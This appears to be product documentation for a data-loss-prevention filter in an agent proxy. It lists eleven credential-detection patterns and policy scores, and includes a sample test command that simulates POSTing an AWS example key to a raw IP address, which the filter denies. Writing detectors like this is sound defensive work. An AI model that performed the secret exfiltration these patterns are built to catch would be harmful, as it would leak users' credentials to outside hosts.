grithdocs

11. DLP gate

Eleven high-confidence secret patterns on outbound calls only, banded by a single policy setting.

Phase2, pattern
Score1.0, 5.0 or 9.0 - set by policy
Sourcecrates/grith-proxy/src/filters/dlp_gate.rs
Configconfig/filters/dlp.toml

The outbound-only counterpart to secret-scan. Where that filter runs a broad 1618-pattern corpus over every call, this one runs eleven deliberately conservative patterns over the four call types that can move data off the machine: HttpRequest, NetConnect, ShellExec and ProcessSpawn.

One setting decides the score

policyScoreEffect at the default thresholds
redact_and_allow1.0recorded, masked in the UI, allowed
queue_for_review (default)5.0queues for a human decision
deny9.0denies on its own

config/filters/dlp.toml

toml
[dlp]
enabled = true

# redact_and_allow | queue_for_review | deny
policy = "queue_for_review"

The patterns

LabelMatches
aws-keyan AKIA access key ID
aws-secretan aws_secret_access_key assignment
github-tokenghp_ / ghs_ tokens
github-pata fine-grained github_pat_ token
private-keya -----BEGIN … PRIVATE KEY----- header
openai-keyan OpenAI sk-…T3BlbkFJ… key
anthropic-keyan sk-ant-api03- key
stripe-keysk_live_ / sk_test_
slack-tokenxoxb-, xoxp- and siblings
bearer-tokena Bearer header value of 20 characters or more
url-credentialscheme://user:pass@host

The first match wins and its label appears in the message. Add your own with [[dlp.patterns]] entries carrying id, regex and label - defining any patterns replaces the built-in eleven, so start from a copy.

terminal
$ grith proxy test '{"type":"HttpRequest","method":"POST","url":"https://45.33.32.156/collect","arguments":{"body":"AKIAIOSFODNN7EXAMPLE"}}'

Score:       14.5
Decision:    DENY

Filter Breakdown:
  + operation-risk         1.0  [notice]  HTTP POST request (carries body): https://45.33.32.156/collect
  + secret-scan            5.0  [critical]  AWS access key ID detected
  + egress-policy          3.5  [warning]  Unknown outbound destination from http_request: 45.33.32.156
  + dlp-gate               5.0  [error]  Secret detected in outbound arguments [aws-key]: aws-access-key

Exit code:   2 (deny)

Both filters firing on one credential is intended. They are calibrated together: a secret in an outbound argument is worth more than the same secret sitting in a local command line.

The redactor

The compiled pattern set is shared with a redactor the daemon uses to mask matches in summaries and log output, so a secret that triggers this filter is not then printed in the record of it triggering.

See also

Last updated: 2026-08-24Edit this page on GitHub →